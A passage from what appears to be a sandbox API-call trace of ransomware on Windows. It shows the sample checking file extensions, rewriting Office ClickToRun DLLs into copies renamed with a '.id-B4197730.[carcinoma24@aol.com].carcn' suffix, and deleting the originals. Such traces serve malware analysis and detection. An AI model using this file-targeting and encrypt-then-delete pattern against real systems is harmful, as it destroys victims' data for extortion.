lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString=".rar") returned 4 [0292.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString=".bz2") returned 4 [0292.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.333] lstrlenW (lpString=".7z") returned 3 [0292.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString=".dbf") returned 4 [0292.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString=".1cd") returned 4 [0292.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString=".jpg") returned 4 [0292.333] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString=".doc") returned 4 [0292.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString=".docx") returned 5 [0292.334] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.334] lstrlenW (lpString=".pdf") returned 4 [0292.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString=".xls") returned 4 [0292.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString=".xlsx") returned 5 [0292.334] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.334] lstrlenW (lpString=".ppt") returned 4 [0292.334] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.334] lstrlenW (lpString=".zip") returned 4 [0292.334] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString=".rar") returned 4 [0292.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.334] lstrlenW (lpString=".bz2") returned 4 [0292.334] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.334] lstrlenW (lpString=".7z") returned 3 [0292.334] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.334] lstrlenW (lpString=".dbf") returned 4 [0292.334] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.334] lstrlenW (lpString=".1cd") returned 4 [0292.334] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.334] lstrlenW (lpString=".jpg") returned 4 [0292.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.335] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.335] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0292.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0292.335] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24768) returned 1 [0292.335] CloseHandle (hObject=0x338) returned 1 [0292.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0292.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0292.336] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.336] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0292.337] GetLastError () returned 0x0 [0292.337] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x60c0, lpOverlapped=0x0) returned 1 [0292.356] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x60d0, lpOverlapped=0x0) returned 1 [0292.358] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.358] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x112, lpOverlapped=0x0) returned 1 [0292.358] SetEndOfFile (hFile=0x34c) returned 1 [0292.358] CloseHandle (hObject=0x34c) returned 1 [0292.358] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.358] SetEndOfFile (hFile=0x338) returned 1 [0292.359] CloseHandle (hObject=0x338) returned 1 [0292.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.360] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0292.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.360] lstrlenW (lpString=".doc") returned 4 [0292.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString=".docx") returned 5 [0292.360] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.360] lstrlenW (lpString=".pdf") returned 4 [0292.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString=".xls") returned 4 [0292.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString=".xlsx") returned 5 [0292.360] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.360] lstrlenW (lpString=".ppt") returned 4 [0292.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.360] lstrlenW (lpString=".zip") returned 4 [0292.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString=".rar") returned 4 [0292.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.360] lstrlenW (lpString=".bz2") returned 4 [0292.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.361] lstrlenW (lpString=".7z") returned 3 [0292.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString=".dbf") returned 4 [0292.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString=".1cd") returned 4 [0292.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString=".jpg") returned 4 [0292.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString=".doc") returned 4 [0292.361] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString=".docx") returned 5 [0292.361] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.361] lstrlenW (lpString=".pdf") returned 4 [0292.361] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString=".xls") returned 4 [0292.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString=".xlsx") returned 5 [0292.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.361] lstrlenW (lpString=".ppt") returned 4 [0292.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.361] lstrlenW (lpString=".zip") returned 4 [0292.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.361] lstrlenW (lpString=".rar") returned 4 [0292.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.362] lstrlenW (lpString=".bz2") returned 4 [0292.362] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.362] lstrlenW (lpString=".7z") returned 3 [0292.362] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.362] lstrlenW (lpString=".dbf") returned 4 [0292.362] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.362] lstrlenW (lpString=".1cd") returned 4 [0292.362] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0292.362] lstrlenW (lpString=".jpg") returned 4 [0292.362] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.362] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.362] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0292.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0292.363] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=21184) returned 1 [0292.363] CloseHandle (hObject=0x338) returned 1 [0292.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0292.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0292.364] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.364] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0292.364] GetLastError () returned 0x0 [0292.364] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x52c0, lpOverlapped=0x0) returned 1 [0292.662] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x52d0, lpOverlapped=0x0) returned 1 [0292.663] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.663] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x110, lpOverlapped=0x0) returned 1 [0292.663] SetEndOfFile (hFile=0x34c) returned 1 [0293.111] CloseHandle (hObject=0x34c) returned 1 [0293.111] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.111] SetEndOfFile (hFile=0x338) returned 1 [0293.113] CloseHandle (hObject=0x338) returned 1 [0293.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.113] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0293.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.113] lstrlenW (lpString=".doc") returned 4 [0293.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString=".docx") returned 5 [0293.114] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.114] lstrlenW (lpString=".pdf") returned 4 [0293.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString=".xls") returned 4 [0293.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString=".xlsx") returned 5 [0293.114] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.114] lstrlenW (lpString=".ppt") returned 4 [0293.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.114] lstrlenW (lpString=".zip") returned 4 [0293.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString=".rar") returned 4 [0293.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.114] lstrlenW (lpString=".bz2") returned 4 [0293.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.114] lstrlenW (lpString=".7z") returned 3 [0293.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.114] lstrlenW (lpString=".dbf") returned 4 [0293.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.114] lstrlenW (lpString=".1cd") returned 4 [0293.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.115] lstrlenW (lpString=".jpg") returned 4 [0293.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.115] lstrlenW (lpString=".doc") returned 4 [0293.115] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.115] lstrlenW (lpString=".docx") returned 5 [0293.115] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.160] lstrlenW (lpString=".pdf") returned 4 [0293.160] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.160] lstrlenW (lpString=".xls") returned 4 [0293.160] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.160] lstrlenW (lpString=".xlsx") returned 5 [0293.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.160] lstrlenW (lpString=".ppt") returned 4 [0293.160] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.160] lstrlenW (lpString=".zip") returned 4 [0293.160] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.160] lstrlenW (lpString=".rar") returned 4 [0293.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.160] lstrlenW (lpString=".bz2") returned 4 [0293.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.160] lstrlenW (lpString=".7z") returned 3 [0293.160] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.160] lstrlenW (lpString=".dbf") returned 4 [0293.160] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.160] lstrlenW (lpString=".1cd") returned 4 [0293.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0293.161] lstrlenW (lpString=".jpg") returned 4 [0293.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.161] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.161] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0293.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0293.161] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=473760) returned 1 [0293.161] CloseHandle (hObject=0x338) returned 1 [0293.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0293.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.162] lstrlenW (lpString=".doc") returned 4 [0293.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.162] lstrlenW (lpString=".docx") returned 5 [0293.162] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0293.162] lstrlenW (lpString=".pdf") returned 4 [0293.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.162] lstrlenW (lpString=".xls") returned 4 [0293.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.162] lstrlenW (lpString=".xlsx") returned 5 [0293.162] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0293.162] lstrlenW (lpString=".ppt") returned 4 [0293.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.162] lstrlenW (lpString=".zip") returned 4 [0293.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString=".rar") returned 4 [0293.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString=".bz2") returned 4 [0293.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.163] lstrlenW (lpString=".7z") returned 3 [0293.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.163] lstrlenW (lpString=".dbf") returned 4 [0293.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.163] lstrlenW (lpString=".1cd") returned 4 [0293.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.163] lstrlenW (lpString=".jpg") returned 4 [0293.163] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.163] lstrlenW (lpString=".doc") returned 4 [0293.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString=".docx") returned 5 [0293.163] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0293.163] lstrlenW (lpString=".pdf") returned 4 [0293.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString=".xls") returned 4 [0293.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.163] lstrlenW (lpString=".xlsx") returned 5 [0293.163] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0293.163] lstrlenW (lpString=".ppt") returned 4 [0293.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0293.164] lstrlenW (lpString=".zip") returned 4 [0293.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.164] lstrlenW (lpString=".rar") returned 4 [0293.164] lstrcmpiW 